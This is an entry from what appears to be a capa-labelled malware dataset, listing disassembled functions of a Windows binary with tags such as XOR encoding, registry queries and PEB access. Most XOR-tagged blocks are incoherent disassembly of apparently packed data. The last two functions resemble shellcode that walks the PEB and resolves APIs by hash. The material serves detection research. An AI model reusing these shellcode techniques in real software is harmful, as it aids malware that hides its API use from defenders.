joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41330a
Capabilities:
Encode data using xor

Disassembly:
outsd dx, dword [esi]
dec ebp
pop ecx
mov edx, dword [esi + 0x3f]
frstor dword [edx + ecx]
mov ah, al
mov al, dh
mov ebx, 0x651f87fc
or byte [ecx - 0x63], al
shr byte [edx + ebx + 0xe], 1
insb byte es:[edi], dx
sbb cl, byte [esi]
pop es
sbb al, 0xd5
cmp byte [esi], cl
add eax, 0x55eeff2e
adc byte [edx + 0x5f99a8eb], al
clc
and edx, esi
adc dl, ch
inc edx
in al, 0xf9
xor al, 0xb3
loope 0x413320
outsb dx, byte [esi]
emms
movnti dword [ecx], ebx
sbb ebx, dword [edx]
or ah, byte [ecx]
and byte [eax - 0x53], 0x2f
imul ebx, dword [edi], 0x7a
sbb byte [edi], ah
dec ebp
mov edx, 0x890cf596
test dword [edx], edi
in eax, 0x34
sub esp, esp
xor byte [ebp + 0x3daf9beb], 0xf2
cli
push es
jnp 0x4133e6
daa
bound ebp, qword [edx - 0x578084d8]
stosd dword es:[edi], eax
jns 0x4133f1
mov esi, 0x6f8f8afd
mov ebp, 0xff7e240
mov dh, 0x15
add bh, byte [edi]
sub dl, byte [eax]
adc al, 0x93
test al, 0xa4
pop ss
inc ebx
lahf
fld xword [esi + 0x15]
and al, 0x33
clc
lodsb al, byte [esi]
movsb byte es:[edi], byte [esi]
sbb eax, 0x97fa2a06
push es
sub bh, dl
xchg edi, eax
mov eax, dword [0xfd176a9f]
sub al, 0x38
sbb ah, cl
pop edi
fdiv st(7), st(0)
jmp 0x413430
les ebx, [edx - 0x262027e2]
jns 0x4133d6

Function at 0x44a610
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push ebx
push 0x652f04
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
test eax, eax
je 0x44a62d
xor eax, eax
pop ebx
add esp, 0xc
ret
lea eax, [esp + 4]
mov ebx, 1
push eax
push ebx
push 0
push str.CLSIDB3EE7802_8224_4787_A1EA_F0DE16DEABD3InprocServer32
push 0x80000000
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov dword [0xa53200], eax
jne 0x44a6aa
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
push 0x652f04
push edx
push eax
mov dword [esp + 0x18], eax
push eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], 0x208
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov dword [0xa53200], eax
jne 0x44a692
cmp dword [esp + 8], ebx
je 0x44a694
xor bl, bl
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x44a6aa
xor eax, eax
pop ebx
add esp, 0xc
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0xa53200]
test ecx, ecx
jne 0x44a6cd
test eax, eax
jle 0x44a6c8
and eax, 0xffff
or eax, 0x80070000
mov dword [0xa53200], eax
mov eax, 0x80004005
pop ebx
add esp, 0xc
ret
Function at 0x44a6e0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
mov dword [esp + 8], 0
call fcn.0044a610
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
test esi, esi
je 0x44a753
lea eax, [esp + 0xc]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push str.IsWow64Process
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x44a753
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
test edi, edi
mov ebx, eax
je 0x44a74a
mov ecx, dword [0x652df4]
push 0x652b28
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea edx, [esp + 0xc]
push edx
push ebx
call esi
pop ebx
mov ecx, dword [esp + 8]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
add esp, 8
ret

Function at 0x44c9d5
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp 0x54168e
jne 0x5416d9
or dword [0x29bbedd6], ebx
lea edx, [ecx + 0x77eff2db]
mov edx, 0x3f20f5d1
cwde
push ebx
fnstcw word [esi]
mov esp, 0x1cb3f6b8
scasd eax, dword es:[edi]
xor byte [ebp - 0x45f66c60], cl
pop ecx
mov ch, 0xd5
nop
cmc
cmp dl, ch
push 0x799cb0a5
jge 0x5416ac
aas
rcr byte [ebp + 0x104b9c7d], 0xe4

Function at 0x4559d7
Capabilities:
Encode data using xor

Disassembly:
out 0x39, eax
invalid
clc
push 0xffffffffffffffb7
add esp, dword [ecx + ebx*2]
scasb al, byte es:[edi]
mov ebx, 0x7b31d7a5
push cs
sub al, 0xfd
mov byte [edi - 0x23c3bf85], ah
out 0xa7, al
lodsd eax, dword [esi]
dec byte [0xd8342247]
lodsd eax, dword [esi]
push edx
sbb eax, 0x8c29a539
insb byte es:[edi], dx
sub dword [ecx + 0x3b53cc9f], ebx
cli
sub dword [esi + 0x36], eax
insb byte es:[edi], dx
mov bl, 0x8e
adc dword [ecx], eax
xor al, 0x8d
ror byte [ecx - 0x5e], cl
scasd eax, dword es:[edi]
dec edi
jns 0x4559e6
jns 0x455a88
sbb al, 0x6d
pop eax
xor bl, byte [ebx - 0x77ad87cf]
loop 0x455a2c
mov edx, 0x6facd638
mov bh, 0x5c
sub byte [ebp + 0x5961837b], bl
jnp 0x4559b1
popal
pop ecx
jns 0x455a3e
ljmp 0x7061:0x178c31ea
lahf
jno 0x455a30
pushal
adc al, 0x61
fstpnce st(2), st(0)
invalid
mov dh, byte [esi - 0x75]
adc ebx, dword [ebp + 0x47]
std
jp 0x455a6c
test dword fs:[edi + eax*8 - 0x3b], ebx
stosd dword es:[edi], eax
insd dword es:[edi], dx
test eax, 0x758458ec
or bl, byte [esi]
cmpsb byte [esi], byte es:[edi]
fldcw word [eax]
jae 0x455abf
mov dword es:[eax - 0x4307d778], ebx
mov dword [eax - 0x4307d778], ebx
mov bl, byte [edi]
test byte [ebx + 0x3fb29f4b], bh
sbb cl, byte [ebx]
insd dword es:[edi], dx
pop ds
insb byte es:[edi], dx
in eax, 0xa4
mov edx, 0xcbdc72a3
mov ecx, 0xf5ae1ca2
lea ecx, [esi + 0x7a]
mov edi, 0x6112d26e
mov byte [0x8df5ae1c], al
dec esi
jp 0x455a4f
outsb dx, byte [esi]
rcl byte [edx], cl
popal
xor al, 0x7e
cwde
sbb al, 0xf
wait
imul eax, dword [ebx - 0x5c1e51bc], 0x13dd0ff7
in eax, dx
xor byte [edi + 0x291e29ad], 0x3b
mov dword [0x4c6c3417], ecx
and al, 0xd6
movsb byte es:[edi], byte [esi]
das
and al, 0x80
add dh, byte [ecx + 0x2e]
pop esp
mov bh, 0x9e
invalid
Function at 0x49d123
Capabilities:
Encode data using xor

Disassembly:
sbb byte [edi], ch
add al, 0x43
in eax, 0x40
shl eax, 1
insb byte es:[edi], dx
cmp dword [eax - 0x4d], esi
dec esi
and edx, dword [ebx]
push ecx
adc dh, dl
xchg ebx, eax
mov al, 0xab
xchg edi, eax
cmpsd dword [esi], dword es:[edi]
and eax, 0xf6e5354d
call edi
std
idiv byte [edx + 0x36ff2502]
push dword [esi]
sub dword [edx + 0x1f], 0xe0fc94df
xor eax, 0xba07290
mov eax, 0x11aec3b0
wait
outsb dx, byte [esi]
or al, dh
fcmovb st(0), st(2)
adc eax, 0xf600bd58
mov al, 0x47
shr byte [ebx - 0x57], 0xcc
ficom dword [ecx + esi*8]
inc eax
jo 0x49d146
int1
add eax, 0xe8a3903c
add dword [ecx - 0x27], edx
les edx, [esi - 0x78]
test dword [ebx], 0x8ef7f39d
adc dl, ah
jg 0x49d1fd
or al, 0xd7
fist dword [ecx + 0x201f2b71]
sbb cl, dh
mov word [eax - 0x65], es
and al, 0xfc
sub al, 0x6c
xor byte [esp + esi], cl
sbb al, 0xa0
cwde
jo 0x49d1f2
xchg edx, eax
xchg byte [ebp - 0x5ff8dd44], al
lds edx, [edi]
and ebp, eax
sbb eax, 0x8ce26f35
invalid
or eax, 0x7a433f69
stosd dword es:[edi], eax
cmpsb byte [esi], byte es:[edi]
int 0x40
repe scasb al, byte es:[edi]
mov word [esp + ebp - 0x6f], cs
fsubr dword [ebp - 0x458f7fea]
cmp al, dl
movsd dword es:[edi], dword [esi]
ret

Function at 0x49f017
Capabilities:
Encode data using xor

Disassembly:
or dword [eax - 0x14], ebx
inc edi
wait
pop esp
mov cl, 0xd5
sbb byte [ecx], ch
and ebx, ebp
and dword [edx], eax
pop ebx
dec ebp
fmul dword [eax + 0x2451dc54]
int 0x93
jmp 0xac89ca61
pushal
fidivr dword [edi]
lodsb al, byte [esi]
insb byte es:[edi], dx
adc byte [esi - 0x3f547c60], 0xef
and eax, 0x78f3f445
imul edx, dword [esi - 0x723fd557], 0x2e
movsb byte es:[edi], byte [esi]
enter 0xffffffffffff98f8, 0xffffffffffffff83
clc
cwde
adc dword [esi - 0x23], 0x56
invalid
jl 0x49f087
clc
cwde
adc dword [esi - 0x23], 0x56
mov esi, 0x5f40677c
inc eax
pop edi
mov byte [0xb429a894], cl
fist dword [ebp - 0x23df3c24]
jbe 0x49efe4
and eax, 0xec785c
or al, 0x80
mov dword [ecx], eax
xchg ebp, eax
scasb al, byte es:[edi]
inc esp
push eax
call 0x1b595129
aam 0xa
shr byte [0x5d82a04f], cl
call 0x611dc68
push cs
xor byte [ebx - 0x510a80f6], ch
jbe 0x49effd
push eax
out dx, al
mov eax, dword [0xcb61d131]
dec edi
xor dword [edx], esp
insd dword es:[edi], dx
push 0x7da67b8e
or al, 0x53
sbb cl, dh
pushfd
mov ch, byte [eax + 5]
cwde
xchg esi, eax
fidiv dword [eax]
mov al, byte [0x1e80f422]
invalid
fcomp dword [edx + 0x52]
cmp dl, byte [edx - 0x6e]
popal
xchg esi, eax
xchg esp, eax
xchg ebp, eax
add al, dl
invalid
Function at 0x4a09cc
Capabilities:
Encode data using xor

Disassembly:
xor eax, 0xd54cc851
pop esi
cld
shl dword gs:[ecx + 0x68], 0x55
push ebp
stc
mov word [edi - 8], cs
cmp ebx, esp
mov bl, 0x49
nop dword [edx]
sbb bl, byte [ebp - 4]
sbb bl, byte [ebp - 4]
sub dword [edx - 0x29], esp
shr dword [eax - 0x61ae539f], cl
adc bl, byte [esi + 0x5438dd7d]
push esp
stosb byte es:[edi], al
mov byte [ecx], dh
add eax, 0xcc53d41d
jle 0x4a09c0
je 0x2eaf6eb4
adc eax, 0x1d048d2c
xor bl, byte [edx + 0x74]
mov ebp, 0x5c4a4c
shr ah, 1
je 0x4a09b5
dec esp
dec edx
pop esp
add al, dl
in al, dx
pushal
rcl dword [edx - 0x1cefbde4], cl
dec eax
popal
insd dword es:[edi], dx
xchg byte [eax], dl
xchg edx, edx
popal
and al, 0xb0
add ch, dh
mov edx, 0x84b0b5a0
dec eax
lodsd eax, dword [esi]
adc byte [ecx], cl
xchg ebx, eax
and byte [edx + 0x1fff414a], dl
cmp al, 0x98
cdq
xor byte [esi - 0x247ac360], bh
inc eax
cld
add byte [ebx], al
fidivr dword [ebp + ebx*2 - 0x54]
popal
fcmovnu st(0), st(3)
insb byte es:[edi], dx
jl 0x4a09f6
aas
cmp eax, 0x8a63bde2
invalid

Function at 0x4a1059
Capabilities:
Encode data using xor

Disassembly:
cmp ebx, dword [esi + 0x78e19274]
xchg edx, eax
loope 0x4a1094
jo 0x4a1028
movsb byte es:[edi], byte [esi]
cmc
mov ebx, dword [eax]
test byte [esi + ecx + 0x6b], bl
mov dl, 0x35
fdivr st(5)
aas
push esi
xor al, 0x92
cld
jp 0x4a1016
mov dword [edx], esi
push ebp
sbb eax, 0x780c8188
dec ecx
dec esi
xchg ecx, eax
pop ds
in eax, dx
outsd dx, dword [esi]
test dword [ebx + 0x14f9a29d], eax
int 0xa1
std
fnstsw word [ebp - 0x2a]
or dword [ecx - 0x2e], 0xffffffff
cmp byte [ecx], 0x2c
xchg esp, eax
xor byte [ebp - 0x21a9c9de], ah
fmulp st(1)
fmulp st(1)
inc byte [ebx - 0x60cafc6]
psubusb mm2, qword [ebp + 0x2da768b0]
mov cl, 8
loope 0x4a1019
insd dword es:[edi], dx
push ebp
in al, 0xf9
ficomp word [0x24bd9c01]
mov ah, 0x48
dec ebp
fstp qword [eax]
in al, dx
sub eax, 0x59841ef
pop ds
movsb byte es:[edi], byte [esi]
out 0x71, al
push ss
xchg ebx, eax
cld
push esp
pop edi
inc ecx
insb byte es:[edi], dx
out 0x56, al
xor dword [edx + 1], edi
invalid
cmp dl, byte [edx - 0x41a503fb]
inc esp
rcr dword [ebx], 1
aad 0xb5
les esp, [ebp - 0x4cfb0ac0]
invalid
Function at 0x4a2803
Capabilities:
Encode data using xor

Disassembly:
and bl, 0xad
fucom st(0)
lodsd eax, dword [esi]
cmc
test al, 0xa0
push esi
pushal
lahf
stc
sbb dword [eax + 0x2dad40c3], ebx
fdivr qword [ebx - 0x33]
ret 0xc05c
adc edx, eax
imul edx, eax, 0xce69e61d
add al, 0x12
xchg ebp, eax
push ebx
rcr byte [0x4ce69e6], 1
adc dl, byte [ebp - 0x664970ad]
xchg byte [edi], bl
into
cmp dword [esi - 0x62], esi
loopne 0x4a2769
invalid
or dword [0xb98a72f1], 0xffffffb0
aad 0x80
leave
sal dword [ebx - 0x27], 0x6d
pushal
jno 0x4a2731
mov dword [edi - 0x23], eax
push eax
add al, 0x7d
retf 0x3c52
push cs
add edi, dword [ecx]
xor bh, byte [eax + 0x7e]
sub ebp, dword [esp + edx - 0x68d2ba11]
xchg ecx, eax
mov byte [eax + 0x5566dfb], al
out dx, al
adc eax, 0x6fd294d6
xor byte [0x38b26fc9], bh
mov eax, dword [0xc4bece02]
cmp byte [ecx - 0x3b4131fe], ah
or al, 0x99
test byte [esp + edi*2 - 0x7841423c], ah
jbe 0x4a276c
jo 0x4a2775
inc edi
or al, 0x19
mov dword [ebp + 0x638f7678], edi
mov bl, 0xe0
and dh, byte [ecx]
loopne 0x4a27a3
mov cs, word [ebp - 0x152937c8]
stc
dec esi
cmp ebx, dword [0x61700deb]
sahf
iretd
add al, 0x1e
push cs
sub al, 0xa4
fstp qword [0xcd3df350]
jge 0x4a2831
out dx, eax
popfd
wait
lea ecx, [esi + 0x26033c11]
loop 0x4a2825
adc cl, byte [ecx + eax + 0xc]
int 0xc1
or ebx, edx
cmp eax, 0x99ac8eee
mov es, edx
test byte [ebx + 0x57], ch
mov gs, word [ecx + ebx*4 + 0x6b84c28e]
push edi
salc
xchg esi, eax
hlt
in al, dx
cmp dl, byte [ebp - 0x2d7b63d8]
jns 0x4a27c3
push ecx
leave
inc esp
xchg esp, eax
adc bh, ch
xchg esp, eax
push cs
imul ebp, eax, 0x4c
popfd
push esp
xchg esi, eax
dec edi
inc ebp
lea esi, [edx + 0x26534e00]
not dword [ecx]
pop esi
std
xor cl, byte [ebp + 0x1d]
or al, byte [ebx]
jmp 0x316fbf96

Function at 0x4e6933
Capabilities:
Encode data using xor

Disassembly:
inc edx
and al, byte [edx - 0x61]
invalid
in eax, 0x87
push esi
mov dword [0xce683da], ecx
push esi
adc al, 0x66
push ds
sbb dword [ebx - 0x28f8055c], esp
aad 0x93
mov dh, 0x7c
xchg edx, eax
sal byte [ebp + 0x12], 0x96
mov eax, dword [0xb486e5d5]
fadd dword [edx - 0x55270e8c]
dec esi
xchg ebp, eax
fcmovnb st(0), st(0)
xor eax, 0x1864a617
jne 0x4e693d
sub esi, edx
cmp byte [esi - 0x3fc4befa], 0x2a
jae 0x4e690c
scasb al, byte es:[edi]
jmp 0x48091b0a

Function at 0x4e7120
Capabilities:
Encode data using xor

Disassembly:
cmpsb byte [esi], byte es:[edi]
push ebp
div dword [ecx]
sub eax, dword [edi + edi*8 + 0x57]
pop ebp
cmp cl, byte [ebx]

Function at 0x4e860d
Capabilities:
Encode data using xor

Disassembly:
pop es
pop esp
lcall 0xc478, 0xa6a2fc59
stosb byte es:[edi], al
fsubr dword [ebp + eax*8 - 0x719b5484]
xchg esp, eax
inc ecx
adc al, 0x18
cmp eax, 0xbc47d9ff
mov byte [0x3252f124], al
inc ecx
add byte [edi - 0x6c6caf25], ah
xor al, byte [ecx]
cmpsd dword [esi], dword es:[edi]
fist dword [eax - 0x6d]
xchg ebx, eax
xor al, 0x7f
mov al, 0xd5
sbb esi, dword [edx]
xchg al, dl
cmpsb byte [esi], byte es:[edi]
leave
sbb byte [edx + 0x1d096ffe], 0xbe
inc esp
loopne 0x4e862c
pushfd
hlt
Function at 0x4e91ae
Capabilities:
Encode data using xor

Disassembly:
pushal
xor dword [ebx + 0x1425f283], ebx
or byte [edi + 0x36], cl
push 0x33ff2122
cmpsb byte [esi], byte es:[edi]
pop ebx
mov bh, 5
add byte [0x963cb602], ah
clc
mov bl, 0x42
inc edx
sal eax, 0xcc
movsb byte es:[edi], byte [esi]
inc esi
push esp
mov esi, es
inc edx
adc eax, 0xe8a994c6
mov byte [0x88166858], al
sbb edi, dword [ebx - 0x2e338ba6]
rcl esi, 1
je 0x4e917a
rcl esi, 1
push ss
xor eax, 0xef6941f2
das
fistp dword [ebp + 0x7a]
xchg ebp, eax
ja 0x4e9195
salc
cli
pop ds
mov ebx, 0x2e153a22
test byte [edx - 0x44], bl
adc al, 0x9b
push esi
out dx, eax
push cs
jp 0x4e91ac
cmpsb byte [esi], byte es:[edi]
cmp ebx, esp
xchg byte [ecx], cl
push ds
enter 0xffffffffffffa528, 0xffffffffffffffaf
sbb al, 0x61
jae 0x8a4031dd
xor edi, dword [ecx]
and esi, dword ss:[ecx - 0x12]
and eax, 0x1cc88a10
or ecx, dword [eax - 0x10]
popfd
mov edi, 0x85fb2fd8
invalid

Function at 0x53330b
Capabilities:
Encode data using xor

Disassembly:
or dword [eax + 0x3e388c68], edx
xchg ebp, eax
or eax, 0x7097ea6d
mov dword [0xe62727d3], eax
je 0x5332f9
pop es
xor eax, 0xf4438909
sbb al, 0xa4
iretd

Function at 0x58b563
Capabilities:
Encode data using xor

Disassembly:
inc ebp
sar byte [ecx], 0x3a
push ebx
mov ebx, 0xbdc013e9
adc dword [edi - 0x36], 0x88151310
xchg ebp, eax
daa
xor edi, edx
or eax, eax
neg edx
jle 0x58b5ca
imul esp, dword [edi - 0x6a484db9], 0x55465651
inc esi
push ebp
rol dword [ecx - 0x55], 0x59
inc ecx
stosd dword es:[edi], eax
pop ecx
mov ebx, 0xe80369aa
sbb al, 0xa7
xor bl, byte [edx + 0x33]
push edx
xor al, byte [edi + 0x30]
mov bh, 0x41
inc ebp
pop es
push cs
cmp ecx, edx
jle 0x58b53c
jp 0x58b560
inc esp
shl dword [ecx + ebp + 0x7d0c3138], 1
dec eax
pushfd
setp byte [eax - 0x6c]
adc dword [ecx - 0x61ca1d27], edi
add eax, 0xc3f2c510
pop edx
pop esp
mov al, 0x6e
rcr dword [ecx], 0xc9
stosb byte es:[edi], al
test al, 0x4f
mov edx, 0xc318f207
in al, dx
and al, 0x88
dec edi
jbe 0x58b5c2
lahf
xchg edi, eax
push edx
jg 0x58b59b
call 0x168aff9b
sbb eax, 0x441746f1
test byte [ecx], 0x57
xchg edx, eax
inc ecx
aad 0xb0
cmpsd dword [si], dword es:[di]
inc edi
dec ebx
adc dword [edx], esi
mov byte [edx + 0x6b], dl
jecxz 0x58b61f
dec ebx
mov dh, 6
das
jno 0x58b5ab
mov dword [0xb1c2554d], eax
sbb byte [eax + 9], 0x90
invalid
and al, dl
adc dword [edi], 0xa0e016d4
mov ebp, 0xa43244a
mov edi, 0xd135e428
jmp 0x86ae87c6
Function at 0x5c4708
Capabilities:
Encode data using xor

Disassembly:
and esp, dword [edx - 0x27]
salc
mov dl, 0xf4
aam 0x42
lahf
out 0x3e, al
inc edi
push 0x46e787c0
dec edi
shl eax, 1
cmpsd dword [esi], dword es:[edi]
enter 0x2729, 0x79
pop esi
adc dword [esi], edx
push ss
jecxz 0x5c46bc
invalid
mov dh, 0xd4
cli
adc eax, 0x3cc3f2a7
das
sub eax, 0x48e94bdf
inc dword [ebp - 0x7f]
pushal
jg 0x5c46d1
jmp 0x81a245b1
mov dh, 0xae
out 4, eax
jno 0x5c4635
sahf
dec edx
stosd dword es:[edi], eax
sbb ah, ah
adc bh, 0x81
mov ch, 0x77
xchg esp, eax
xchg dword [ecx + 0x350b73d0], edi
jp 0x5c46a0
jae 0x5c469d
push es
add al, 0xa5
cmp edi, eax
nop
and eax, 0x8a415503
adc eax, dword [eax]
push edi
mov al, byte [0x49d7ba86]
in al, 0xba
xor dword [edx - 0x47], 0x340448da
jb 0x5c4658
fimul dword [eax + 4]
xor al, 0x52
dec eax
add al, 0x34
push edx
inc edi
xor ecx, edi
pop es
sub eax, 0xd8dd9f63
dec ecx
pop esi
out 0x26, eax
mov eax, dword [0x7746c4b7]
popal
stc
mov ecx, 0x704fb07f
cmpsb byte [esi], byte es:[edi]
jo 0x5c4664
xchg ebp, eax
cmp al, 0x50
mov byte [0xaacf4555], ch
and dword [edx + 0x6f], 0xffffff9f
jns 0x5c46a4
and eax, dword [eax]
test al, 0x86
cwde
inc ebp
add dword [ebx - 0x3b], esp
cmpsb byte [esi], byte es:[edi]
xor eax, 0xe68d7700
and cl, byte [edx]
jne 0x5c4725
add byte [edi - 0x73], dh
out 0x22, al
or dh, byte [ebp + 0x44]
mov bh, 0xd7
or byte [eax], 0x91
jge 0x5c4677
add byte [edi], dl
leave
push ds
xchg ebp, eax
fcom dword [eax]
insd dword es:[edi], dx
imul dword [ecx]
imul ebx, esp, 0x24
and al, 0xd5
lahf
lea edx, gs:[edi]
pslld mm3, qword [ecx + 0x49ebc011]
mov ebx, 0x5d2796d0
out 0xd7, eax
jg 0x5c471c
push ss
daa
ja 0x5c46d9
xchg ebp, eax
aaa
salc
cmpsd dword ss:[esi], dword es:[edi]
mov dh, 0x4f
fist dword [edi - 0x307245f8]
adc eax, 0x5cbf4906
iretd
push es
dec ecx
mov edi, 0xb747cf5c
pushal
aam 0x76
bound ecx, qword [esi - 0x2a]
jbe fcn.005c4789
dec esp
salc
jge 0x5c46b6
invalid

Function at 0x5cb5b2
Capabilities:
Encode data using xor

Disassembly:
cmpsd dword [esi], dword es:[edi]
xchg esi, eax
cli
pop ss
and edi, 0x67491b59
sub dh, byte [edi + 0x14]
imul esp, dword [edi + esi*4], 0xb7407af7
mov bh, 0x99
xor dword [edx + 0x638eb797], edi
xchg edi, eax
xchg ebp, eax
fldenv [edi + 0x1de35711]
or dword [ebx + 0x43], ecx
je 0x5cb59f
dec edx
jnp 0x5cb5f0
push esi
sub dword [eax - 0x31], eax
jmp 0x9f846ddf
stosb byte es:[edi], al
popal
nop
dec edx
int3
mov ch, 0xa5
fxam
sub byte [ebp + 0x1d], ch
movq mm7, mm0
inc edi
jnp 0x5cb5d4
pop eax
sar dword [ebp + 0x181107dd], 1
fld st(7)
push cs
push esi
and byte fs:[esi + 0xe], dl
jecxz 0x5cb5f0
inc edx
sub esi, dword [edx]
salc
stosd dword es:[edi], eax
mov ah, 0x8a
sti
mov ah, 0xb6
sti
mov ah, 0xb6
or dword [esi - 0x1e99548b], esi
sub ebx, dword [esi - 0x1ff49fda]
sub eax, 0x8b74e91b
in eax, dx
dec ebx
jmp 0x5cb699
ja 0x5cb6a1
xchg ecx, edi
cld
mov ecx, 0xf8d5c52d
aad 0xf8
arpl word [esi], ax
daa
int 0x2c
in eax, 0xd4
cmp byte fs:[0xa4f75437], dh
mov dword es:[0xa727ae58], eax
sbb byte [eax - 0x36686cf8], bl
mov dl, 0xb6
inc esi
invalid
Function at 0x5cc533
Capabilities:
Encode data using xor

Disassembly:
mov dh, 0x9b
dec esp
dec ebx
dec esi
mov edi, 0x98777061
mov ebx, 0x7903571d
mov bl, 0x8e
cmpsd dword [esi], dword es:[edi]
sub edi, dword [ecx + 0x49e55777]
ja 0x5cc58c
in eax, 0x49
ja 0x5cc58c
in eax, 0x49
mov ebx, 0xf7f78dff
div edi
jae 0x5cc537
push edi
out 0xa3, eax
rcl dword [edx], 0x72
rdmsr
xor al, 0xf9
push 0xffffffffffffffe3
das
jle 0x5cc53a
lea esi, [edi]
pop edi
mov byte [0x4828b3b7], al
adc eax, 0x16f9c77f
inc edi
fst dword [edi - 0x55]
retf 0x867
jbe 0x5cc51f
invalid
xchg edx, eax
sbb dword [edi + 0x373aa92a], edi
push ss
daa
jb 0x5cc571
mov ah, 0x77
mov eax, dword [0xe4c2c707]
inc edi
sub bl, bl
pop eax
mov edx, 0x49b4e867
xchg esp, ebp
jmp 0x26dfb5ad

Function at 0x6045a4
Capabilities:
Encode data using xor

Disassembly:
inc ebx
push esi
and byte [eax], ah
xchg esp, eax
and eax, 0x8f89ab89
in eax, 0x73
sar bl, 1
sti
inc edi
add bl, byte [esi + edi + 0x58]
outsd dx, dword [esi]
jg 0x6045f4
ret
push ss
sub dword [edx + 0x2a], ebp
push ebp
test eax, 0x8eb27cb1
push ds
ja 0x604637
js 0x6045b1
invalid
out 0xa1, al
push ebp
push ecx
and dh, cl
stosd dword es:[di], eax
inc edx
pop ebx
push edi
loop 0x6046c0
out dx, al
ja 0x6046a1
add dl, 0xac
in eax, dx
sub dword [ebx], ecx
cmpsb byte [esi], byte es:[edi]
xchg esi, eax
mov edi, 0xbb40ac7c
adc byte [edx + 0x51d885d3], cl
xchg esp, eax
inc esp
call 0x154cdc18
imul ebp, dword [edx - 0x5d], 0x2be2963c
fcomp dword [edi + eax*2 + 0x44]
sbb esi, edx
in eax, dx
xor edx, dword [edx + 0xb6dc0a7]
inc edx
cmpsd dword [esi], dword es:[edi]
shr byte [ebp + 0xb], 0x42
mov cl, ch
wait
push ds
in al, 0x56
push esi
xor eax, 0x1e852c51
mov dword [0x47f0dd88], eax
insb byte es:[edi], dx
push ecx
cmp bh, byte [esi]
adc byte [di + 0x7a], bh
leave
xchg esi, eax
mov ss, word [edi]
pop ss
popfd
dec esp
push ebp
fcomp qword [edx + 0x3506686]
or dh, byte [ebp - 0x4f]
enter 0x69cc, 0x15
jg 0x604671
adc eax, 0xb483cd7f
dec ecx
cmp al, 0x80
mov al, 0xce
dec eax
xor dword [ecx + ecx*2 - 0x314f7fc4], 0x48
mov bl, 0xcc
add eax, 0xcb12b5a4
arpl word [ebx + ebp], si
inc esi
cdq
inc esi
inc ebx
stosb byte es:[edi], al
cmp al, 0xb5
cld
sbb eax, 0x6c9392fb
xchg edx, eax
xchg ebx, eax
insb byte es:[edi], dx
jne 0x6046ef
dec ecx
or al, 0x58
insd dword es:[edi], dx
xlatb
sub esi, dword [eax]
imul edi, ebx, 0xffffffb1
jno 0x6046d8
push esp
xor dword [esi + 0x4b6d4a0e], ebx
insd dword es:[edi], dx
dec ebx
sub bh, byte [ecx + 0x688c3b80]
lahf
pop ds
les eax, [ebp + 0x75]
sub esi, dword [ebx - 0x28]
sub al, 0x64
adc ch, bl
cli
dec eax
fcomp qword [ebp + 0x35]
test bh, dl
in eax, dx
jae 0x604691
pop ebp
xor eax, 0x73edd784
wait
aad 0x63
xchg esp, eax
loop 0x60467b
adc al, 0x4b
fidivr word [edi - 0x5aa84c7b]
mov byte [ecx + 0x44], dh
lds edi, [ebp + 0x11778519]
arpl word [esi], bp
mov sp, 0x483a
iretd
Function at 0x403a5b
Capabilities:
Access peb ldr_data

Disassembly:
pop esi
repne movsb byte es:[edi], byte [esi]
call 0x403a5b
mov ebx, 0xa2a1de0
push 0x9dbd95a6
call ebp
cmp al, 6
jl 0x403a56
cmp bl, 0xe0
jne 0x403a56
mov ebx, 0x6f721347
push 0
push ebx
call ebp
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
push 0x160d6838
call ebp
pop eax
pop eax
popal
jmp 0x403b6e
fldpi
wait
fnstenv [esp - 0xc]
xor edx, edx
mov dl, 0x77
xor ecx, ecx
mov esi, dword fs:[ecx + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
mov eax, dword [esi + 8]
mov edi, dword [esi + 0x20]
mov esi, dword [esi]
cmp byte [edi + 0x18], cl
jne 0x403b85
pop ecx
add ecx, edx
jmp ecx

Function at 0x403a72
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
call fcn.00403a34
and sp, 0xfffc
xor esi, esi
mov esi, dword fs:[esi + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
push esi
mov si, 0x1aaa
pop edi
mov ebp, dword [edi + 8]
or bh, bh
aaa
mov ebx, dword [ebp + 0x3c]
mov ebx, dword [ebp + ebx + 0x78]
add ebx, ebp
mov ecx, dword [ebx + 0x18]
jcxz 0x403a8d
mov edi, dword [ebx + 0x20]
add edi, ebp
mov edi, dword [edi + ecx*4 - 4]
add edi, ebp
xor eax, eax
cdq
xor dl, byte [edi]
ror dx, 1
scasb al, byte es:[edi]
jne 0x403ab0
dec ecx
cmp dx, si
bnd je 0x403ac7
jcxz 0x403a8d
jmp 0x403aa2
mov esi, dword [ebx + 0x24]
add esi, ebp
movzx esi, word [esi + ecx*2]
mov eax, dword [ebx + 0x1c]
add eax, ebp
mov edi, dword [eax + esi*4]
add edi, ebp
xor esi, esi
cmp dx, 0xf0da
je 0x403afe
cmp dx, 0x2769
je 0x403b0a
push 0x32
push 0x33656c6f
push esp
call edi
xchg ebp, eax
mov si, 0xf0da
jmp 0x403a93
push esi
call edi
mov si, 0x2769
jmp 0x403a93
push 0xd422046e
push 0x99efeca1
push 0x499272b9
